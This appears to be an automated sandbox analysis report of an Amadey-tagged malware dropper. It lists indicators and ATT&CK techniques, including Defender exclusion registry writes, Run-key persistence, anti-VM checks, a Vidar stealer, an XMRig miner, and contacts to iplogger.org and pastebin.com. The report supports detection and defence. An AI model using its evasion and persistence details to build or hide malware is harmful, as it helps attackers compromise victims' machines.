amadey | 22ebb950592ccc987fd1dab9ddcd34c4fc519975dc1b82e4a793dc038d2d8e41

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\Mon23938d415978.exe = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	Mon23938d415978.exe

Detected Nirsoft tools 1 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/files/0x00070000000284fe-128.dat	Nirsoft

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

Query Registry

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Mon237ce2862163cee53.exe

LoaderBot executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000900000002850d-251.dat	loaderbot
behavioral2/memory/2080-259-0x00000000004C0000-0x00000000008BE000-memory.dmp	loaderbot
behavioral2/memory/5612-271-0x0000000000400000-0x0000000000BF1000-memory.dmp	loaderbot

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/files/0x00070000000284fe-128.dat	WebBrowserPassView

Vidar Stealer 2 IoCs

stealer

resource	yara_rule
behavioral2/memory/4016-316-0x0000000000400000-0x00000000004DC000-memory.dmp	family_vidar
behavioral2/memory/4016-501-0x0000000000400000-0x00000000004DC000-memory.dmp	family_vidar

XMRig Miner payload 1 IoCs

miner

resource	yara_rule
behavioral2/memory/4340-455-0x0000000140000000-0x0000000140B75000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4292	powershell.exe
2504	powershell.exe
3052	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

Disable or Modify Tools

pid	Process
4292	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5668	netsh.exe

.NET Reactor proctector 1 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/files/0x0007000000028506-199.dat	net_reactor

ASPack v2.12-2.42 3 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x00060000000104d8-84.dat	aspack_v212_v242
behavioral2/files/0x00070000000284f0-83.dat	aspack_v212_v242
behavioral2/files/0x00070000000284f2-90.dat	aspack_v212_v242

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Mon237ce2862163cee53.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Mon237ce2862163cee53.exe

Checks computer location settings 2 TTPs 15 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-880639880-2214913997-617214392-1000\Control Panel\International\Geo\Nation	setup_x86_x64_install.exe
Key value queried	\REGISTRY\USER\S-1-5-21-880639880-2214913997-617214392-1000\Control Panel\International\Geo\Nation	setup_installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-880639880-2214913997-617214392-1000\Control Panel\International\Geo\Nation	Mon2317ff0edbb41b.exe
Key value queried	\REGISTRY\USER\S-1-5-21-880639880-2214913997-617214392-1000\Control Panel\International\Geo\Nation	Q7J2UrO1XZC8DQK.EXe
Key value queried	\REGISTRY\USER\S-1-5-21-880639880-2214913997-617214392-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-880639880-2214913997-617214392-1000\Control Panel\International\Geo\Nation	Mon23ca6a33225.exe
Key value queried	\REGISTRY\USER\S-1-5-21-880639880-2214913997-617214392-1000\Control Panel\International\Geo\Nation	Mon239d2cfa97d5f2304.tmp
Key value queried	\REGISTRY\USER\S-1-5-21-880639880-2214913997-617214392-1000\Control Panel\International\Geo\Nation	Mon2345a0f60927b9.exe
Key value queried	\REGISTRY\USER\S-1-5-21-880639880-2214913997-617214392-1000\Control Panel\International\Geo\Nation	RaptorMiner.exe
Key value queried	\REGISTRY\USER\S-1-5-21-880639880-2214913997-617214392-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-880639880-2214913997-617214392-1000\Control Panel\International\Geo\Nation	Mon23fc9b3c0b46b0b03.exe
Key value queried	\REGISTRY\USER\S-1-5-21-880639880-2214913997-617214392-1000\Control Panel\International\Geo\Nation	Mon23705640b572a2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-880639880-2214913997-617214392-1000\Control Panel\International\Geo\Nation	tkools.exe
Key value queried	\REGISTRY\USER\S-1-5-21-880639880-2214913997-617214392-1000\Control Panel\International\Geo\Nation	Mon23c83f1827e40acef.exe
Key value queried	\REGISTRY\USER\S-1-5-21-880639880-2214913997-617214392-1000\Control Panel\International\Geo\Nation	mshta.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Driver.url	RaptorMiner.exe

Executes dropped EXE 58 IoCs

pid	Process
5020	setup_installer.exe
3912	setup_install.exe
5552	Mon237b55b08f9b9f39.exe
4100	Mon234cf515ac88.exe
4016	Mon23bfce30ed0d.exe
880	Mon239d21655f4b.exe
3156	Mon236c02350935f.exe
1248	Mon23b87b93295.exe
3044	Mon23fc9b3c0b46b0b03.exe
4884	Mon230cd6d57f4.exe
1748	Mon236eb8c3f483857fd.exe
544	Mon237ce2862163cee53.exe
5596	Mon23705640b572a2.exe
5612	Mon2345a0f60927b9.exe
2340	Mon237fc92db7bada.exe
5160	Mon23938d415978.exe
5440	Mon2317ff0edbb41b.exe
4064	Mon23eb9bbd34021fd7.exe
5284	Mon23c390e94b6b.exe
5288	Mon239d2cfa97d5f2304.exe
5388	Mon23c83f1827e40acef.exe
832	Mon237638f22d11.exe
4272	Mon23da17a89d.exe
924	Mon23ca6a33225.exe
5080	Mon23eb9bbd34021fd7.tmp
5304	Mon239d2cfa97d5f2304.tmp
3692	Mon239d2cfa97d5f2304.exe
2540	Mon2317ff0edbb41b.exe
1884	Mon239d2cfa97d5f2304.tmp
2080	RaptorMiner.exe
5012	9b92a9b433b0c0d63dd84651491f6889c51e4ca0(1).exe
5292	Mon237b55b08f9b9f39.exe
6140	Mon23fc9b3c0b46b0b03.exe
5444	Mon23705640b572a2.exe
4340	Driver.exe
5992	Mon23705640b572a2.exe
3372	Mon237638f22d11.exe
4996	Q7J2UrO1XZC8DQK.EXe
1964	Mon237638f22d11.exe
3612	tkools.exe
6084	tkools.exe
4268	Mon237638f22d11.exe
2772	Mon23938d415978.exe
2216	tkools.exe
1892	tkools.exe
3940	tkools.exe
5688	csrss.exe
3316	tkools.exe
3796	csrss.exe
1852	csrss.exe
6012	injector.exe
384	csrss.exe
5408	Mon23ca6a33225.exe
5016	csrss.exe
4160	tkools.exe
3336	tkools.exe
4176	tkools.exe
1548	tkools.exe

Loads dropped DLL 9 IoCs

pid	Process
3912	setup_install.exe
3912	setup_install.exe
3912	setup_install.exe
3912	setup_install.exe
3912	setup_install.exe
5080	Mon23eb9bbd34021fd7.tmp
5304	Mon239d2cfa97d5f2304.tmp
1884	Mon239d2cfa97d5f2304.tmp
3700	odbcconf.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

System Binary Proxy Execution: Odbcconf 1 TTPs 3 IoCs

Abuse Odbcconf to proxy execution of malicious code.

Odbcconf

T1218.008

pid	Process
2828	mshta.exe
4444	cmd.exe
3700	odbcconf.exe

Windows security modification 2 TTPs 7 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\Mon23938d415978.exe = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	Mon23938d415978.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	Mon23938d415978.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-880639880-2214913997-617214392-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Driver = "C:\\Users\\Admin\\AppData\\Roaming\\Sysfiles\\RaptorMiner.exe"	RaptorMiner.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-880639880-2214913997-617214392-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	Mon23938d415978.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Mon237ce2862163cee53.exe

Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
33	iplogger.org
34	iplogger.org
42	iplogger.org
49	iplogger.org
53	iplogger.org
92	pastebin.com

Drops Chrome extension 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\jfhgpjbcoignfibliobpclhpfnadhofn\10.59.13_0\manifest.json	Mon239d21655f4b.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	ip-api.com

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit defense_evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
5612	Mon2345a0f60927b9.exe
5612	Mon2345a0f60927b9.exe

Suspicious use of SetThreadContext 10 IoCs

description	pid	Process	procid_target
PID 5552 set thread context of 5292	5552	Mon237b55b08f9b9f39.exe	136
PID 3044 set thread context of 6140	3044	Mon23fc9b3c0b46b0b03.exe	137
PID 5596 set thread context of 5992	5596	Mon23705640b572a2.exe	152
PID 832 set thread context of 4268	832	Mon237638f22d11.exe	192
PID 3612 set thread context of 2216	3612	tkools.exe	207
PID 6084 set thread context of 1892	6084	tkools.exe	217
PID 3940 set thread context of 3316	3940	tkools.exe	233
PID 924 set thread context of 5408	924	Mon23ca6a33225.exe	258
PID 4160 set thread context of 3336	4160	tkools.exe	267
PID 4176 set thread context of 1548	4176	tkools.exe	271

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

persistence privilege_escalation

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	Mon23938d415978.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\rss	Mon23938d415978.exe
File created	C:\Windows\rss\csrss.exe	Mon23938d415978.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
3940	3156	WerFault.exe
3412	4272	WerFault.exe	127

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon236c02350935f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon23ca6a33225.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon239d2cfa97d5f2304.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup_x86_x64_install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon23b87b93295.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon23c83f1827e40acef.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon23da17a89d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RaptorMiner.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon23fc9b3c0b46b0b03.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon237ce2862163cee53.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon23938d415978.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon237b55b08f9b9f39.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon23938d415978.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon23705640b572a2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9b92a9b433b0c0d63dd84651491f6889c51e4ca0(1).exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon239d2cfa97d5f2304.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon2317ff0edbb41b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup_installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup_install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon234cf515ac88.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon23705640b572a2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon23bfce30ed0d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon237638f22d11.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tkools.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tkools.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon239d21655f4b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon23fc9b3c0b46b0b03.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon2345a0f60927b9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Mon236eb8c3f483857fd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5228	chrome.exe

Inno Setup is an open-source installation builder for Windows applications. 8 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/memory/5288-239-0x0000000000400000-0x00000000004CC000-memory.dmp	innosetup
behavioral2/memory/4064-273-0x0000000000400000-0x0000000000414000-memory.dmp	innosetup
behavioral2/memory/3692-234-0x0000000000400000-0x00000000004CC000-memory.dmp	innosetup
behavioral2/memory/5288-191-0x0000000000400000-0x00000000004CC000-memory.dmp	innosetup
behavioral2/files/0x0007000000028501-190.dat	innosetup
behavioral2/memory/4064-186-0x0000000000400000-0x0000000000414000-memory.dmp	innosetup
behavioral2/files/0x0007000000028508-183.dat	innosetup
behavioral2/memory/3692-358-0x0000000000400000-0x00000000004CC000-memory.dmp	innosetup

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Mon23da17a89d.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Mon23da17a89d.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Mon23da17a89d.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 2 IoCs

pid	Process
3324	taskkill.exe
3876	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134230091944620801"	chrome.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2200	schtasks.exe
2356	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2504	powershell.exe
2504	powershell.exe
4292	powershell.exe
4292	powershell.exe
4272	Mon23da17a89d.exe
4272	Mon23da17a89d.exe
2080	RaptorMiner.exe
2080	RaptorMiner.exe
2080	RaptorMiner.exe
2080	RaptorMiner.exe
2080	RaptorMiner.exe
2080	RaptorMiner.exe
4292	powershell.exe
4292	powershell.exe
2504	powershell.exe
2504	powershell.exe
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
2080	RaptorMiner.exe
2080	RaptorMiner.exe
2080	RaptorMiner.exe
2080	RaptorMiner.exe
2080	RaptorMiner.exe
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
2080	RaptorMiner.exe
2080	RaptorMiner.exe
2080	RaptorMiner.exe
2080	RaptorMiner.exe
2080	RaptorMiner.exe
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found
3384	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3384	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4272	Mon23da17a89d.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4292	powershell.exe
Token: SeDebugPrivilege	2504	powershell.exe
Token: SeCreateTokenPrivilege	880	Mon239d21655f4b.exe
Token: SeAssignPrimaryTokenPrivilege	880	Mon239d21655f4b.exe
Token: SeLockMemoryPrivilege	880	Mon239d21655f4b.exe
Token: SeIncreaseQuotaPrivilege	880	Mon239d21655f4b.exe
Token: SeMachineAccountPrivilege	880	Mon239d21655f4b.exe
Token: SeTcbPrivilege	880	Mon239d21655f4b.exe
Token: SeSecurityPrivilege	880	Mon239d21655f4b.exe
Token: SeTakeOwnershipPrivilege	880	Mon239d21655f4b.exe
Token: SeLoadDriverPrivilege	880	Mon239d21655f4b.exe
Token: SeSystemProfilePrivilege	880	Mon239d21655f4b.exe
Token: SeSystemtimePrivilege	880	Mon239d21655f4b.exe
Token: SeProfSingleProcessPrivilege	880	Mon239d21655f4b.exe
Token: SeIncBasePriorityPrivilege	880	Mon239d21655f4b.exe
Token: SeCreatePagefilePrivilege	880	Mon239d21655f4b.exe
Token: SeCreatePermanentPrivilege	880	Mon239d21655f4b.exe
Token: SeBackupPrivilege	880	Mon239d21655f4b.exe
Token: SeRestorePrivilege	880	Mon239d21655f4b.exe
Token: SeShutdownPrivilege	880	Mon239d21655f4b.exe
Token: SeDebugPrivilege	880	Mon239d21655f4b.exe
Token: SeAuditPrivilege	880	Mon239d21655f4b.exe
Token: SeSystemEnvironmentPrivilege	880	Mon239d21655f4b.exe
Token: SeChangeNotifyPrivilege	880	Mon239d21655f4b.exe
Token: SeRemoteShutdownPrivilege	880	Mon239d21655f4b.exe
Token: SeUndockPrivilege	880	Mon239d21655f4b.exe
Token: SeSyncAgentPrivilege	880	Mon239d21655f4b.exe
Token: SeEnableDelegationPrivilege	880	Mon239d21655f4b.exe
Token: SeManageVolumePrivilege	880	Mon239d21655f4b.exe
Token: SeImpersonatePrivilege	880	Mon239d21655f4b.exe
Token: SeCreateGlobalPrivilege	880	Mon239d21655f4b.exe
Token: 31	880	Mon239d21655f4b.exe
Token: 32	880	Mon239d21655f4b.exe
Token: 33	880	Mon239d21655f4b.exe
Token: 34	880	Mon239d21655f4b.exe
Token: 35	880	Mon239d21655f4b.exe
Token: SeDebugPrivilege	3044	Mon23fc9b3c0b46b0b03.exe
Token: SeDebugPrivilege	5596	Mon23705640b572a2.exe
Token: SeDebugPrivilege	5284	Mon23c390e94b6b.exe
Token: SeDebugPrivilege	832	Mon237638f22d11.exe
Token: SeDebugPrivilege	4884	Mon230cd6d57f4.exe
Token: SeDebugPrivilege	2080	RaptorMiner.exe
Token: SeShutdownPrivilege	3384	Process not Found
Token: SeCreatePagefilePrivilege	3384	Process not Found
Token: SeShutdownPrivilege	3384	Process not Found
Token: SeCreatePagefilePrivilege	3384	Process not Found
Token: SeShutdownPrivilege	3384	Process not Found
Token: SeCreatePagefilePrivilege	3384	Process not Found
Token: SeShutdownPrivilege	3384	Process not Found
Token: SeCreatePagefilePrivilege	3384	Process not Found
Token: SeDebugPrivilege	3324	taskkill.exe
Token: SeShutdownPrivilege	3384	Process not Found
Token: SeCreatePagefilePrivilege	3384	Process not Found
Token: SeShutdownPrivilege	3384	Process not Found
Token: SeCreatePagefilePrivilege	3384	Process not Found
Token: SeShutdownPrivilege	3384	Process not Found
Token: SeCreatePagefilePrivilege	3384	Process not Found
Token: SeShutdownPrivilege	3384	Process not Found
Token: SeCreatePagefilePrivilege	3384	Process not Found
Token: SeDebugPrivilege	3876	taskkill.exe
Token: SeShutdownPrivilege	3384	Process not Found
Token: SeCreatePagefilePrivilege	3384	Process not Found
Token: SeShutdownPrivilege	3384	Process not Found
Token: SeCreatePagefilePrivilege	3384	Process not Found

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
5732	chrome.exe
